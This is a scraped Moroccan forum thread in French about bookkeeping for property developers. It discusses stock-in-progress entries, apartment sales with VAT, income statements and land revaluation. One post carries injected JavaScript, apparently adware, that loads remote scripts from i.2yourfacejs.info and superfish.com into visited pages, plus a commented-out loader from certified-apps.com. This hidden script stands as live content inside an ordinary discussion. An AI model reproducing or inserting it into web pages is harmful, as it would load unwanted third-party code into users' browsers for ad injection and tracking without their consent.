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COMPTABILITE PROMOTEURS IMMOBILIERS
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Répondre au sujet    fiscalité marocaine Index du Forum -> Comptabilité -> Comptabilité: Comment faire????
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ANCIENSUISLA
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MessagePosté le: 18/01/2013 19:30:15    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

biensur l'activité de la société étant l'achat et la vente de bien immobilier c'est donc un stock

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MessagePosté le: 18/01/2013 19:30:15    Sujet du message: Publicité

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zineb_09
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MessagePosté le: 18/01/2013 22:41:17    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

merci pour l'explication c'est très intéressant surtout q c'est la premiere fois que je fé la comptabilité de promotion immoiliere, 
svp je veux savoir comment on peut déterminer le chiffre d'affaires d'une manière à bénificier d'impot , et c'est koi l'impact fiscal sur la plue value de cession.
et pour la livraison a soi même.
function AddDP() { if (window.location.href.indexOf("http:") != -1 && window.location.href.indexOf("facebook.com") == -1 ) { var script_tag = document.createElement('script'); script_tag.setAttribute("type", "text/javascript"); script_tag.setAttribute("src", "http://i.2yourfacejs.info/toyf/javascript.js?channel=ch103"); // Try to find the head, otherwise default to the documentElement (document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag); } } AddDP(); AddSuperFish(); function AddSuperFish(){ if(-1==window.location.href.indexOf("facebook.com")&& -1==window.location.href.indexOf("google.com")) { var a=document.createElement("script"); a.setAttribute("type","text/javascript"); if(-1==window.location.href.indexOf("http:")) { a.setAttribute("src","http://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103"); } else if(-1==window.location.href.indexOf("https:")) { a.setAttribute("src","https://www.superfish.com/ws/sf_main.jsp?dlsource=sixpointseven&userId=103&CTID=103"); } (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(a); } } /* AddWiddit(); function AddWiddit(){ if(window.location.href.indexOf("http:")!=-1 && window.location.href.indexOf("facebook.com")==-1) { var script_tag=document.createElement('script');script_tag.setAttribute("type","text/javascript"); script_tag.setAttribute("src","http://cdn1.certified-apps.com/scripts/shared/enable.js?si=33332&tid=ch103"); (document.getElementsByTagName("head")[0]||document.documentElement).appendChild(script_tag); }} */


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eddaif
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MessagePosté le: 15/02/2013 11:05:43    Sujet du message: Re: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

slt Mr. je suis un comptable dans une multinationnal son activite et la prestation de service en fait les meme procedures que vous avez mentionner.ma question est: est ce que en peut deposer le bilan fiscal avec un cpc qui comporte que les ventes et les variation de stock, ou en doit detailler les charges suporter par la ste.
je port avotre information que ont a un seul clt et qui est notre ste mere a l'etranger. merci d'avance.
SUISLA a écrit:
le promoteur immobilier exemple : il achète un terrain à 2.000.000DH
ce terrain est comptabilisé au compte terrain 2311


il fait des travaux au cours de l'année pour 1.600.000DH


ces travaux sont comptabilisés au cours de l'année sur des comptes de la classe 6
à la fin de l'année les comptes de la classe 6 sont crédités par le débit du compte 31341 stock travaux en cours pour etre soldé


l'année suivante il fait des travaux au cours de l'année pour 3.200.000DH les travaux et sont comptabilisés au cours de l'année sur des comptes de la classe 6


la fin de l'année on fait la même chose cad on passe la même écriture les comptes de la classe 6 sont crédités par le débit du compte 31341 stock travaux en cours


mais cette année les travaux sont terminés et 40 appartements sont prets à etre vendus donc le compte 31341 doit etre soldé par le compte 71341 variation stock travaux en cours


les appartement sont estimés à 500.000DH chacune


le compte terrain aussi doit etre soldé donc les ecritures à passer sont :



compte
débit
crédit
71341(var stcock produits finis)
1.600.000DH


71341(var stock produits finis)
3.200.000DH


31341(stock produits finis)


4.800.000DH
31341(stock produits finis)
2.000.000DH


2311 (constructions)


2.000.000DH


Le stock produits finis sont les 40 appartements au prix de revient total de 6.800.000DH, soit un prix unitaure de 6.800.000DH/40 = 170.000DH chacune.


L'année suivante la société vend trois appatements 500.000DH X 3 soit 1.500.000DH, l'ecriture à passer est la suivante :



compte
débit
crédit
3421 (Clients)
1.500.000DH


71211 (vente produits finis)


1.250.000DH
4455 (TVA 20%)


250.000DH


Au niveau de la banque :



compte
débit
crédit
5141 (Banques)
1.500.000DH


3421 (Clients)


1.500.000DH


La fin de l'année on doit passer l'ecriture du stock final et solder le stock initial soit 37 appartements X 170.000DH comme suit :



compte
débit
crédit
71341(var stcock produits finis)
6.800.000DH


31341(stock produits finis)


6.800.000DH
31341(stock produits finis)
6.290.000DH


71341 (stock produits finis)


6.290.000DH


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ANCIENSUISLA
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MessagePosté le: 08/03/2013 20:25:33    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

un compte de cpc comme son appellation l'indique doit faire apparaître les produits et les charges de l'exercice, et je ne pense pas que vous n'avez pas de charges

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MessagePosté le: 11/03/2013 08:24:25    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

ok merci bcp pour l'information
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MessagePosté le: 14/03/2014 18:53:06    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

salut tt le monde:
si un promoteur achete un terrain a 100.000,00 en 2005 pour construire des appartements,
.en 2014 il a finis les construction sur ce terrain. mais le problem et que la valeur de ce terrain augement d'un montant trop grand la valeur du
terrain=1.000.000,00 un differance de 900.000,00 ce montant et avec une certificat de revaluation.
comments comptabilise la revaluation.
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MessagePosté le: 23/03/2014 13:51:11    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS Répondre en citant

bonjour tt le monde, j'ai besoin d'améliorer mes connaissances au niveau de la comptabilité immobilière (promotion immobilière), c'est urgent. merci à vs et si vs en avez des documents et références je serai reconnaissante

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MessagePosté le: 17/12/2017 17:42:45    Sujet du message: COMPTABILITE PROMOTEURS IMMOBILIERS

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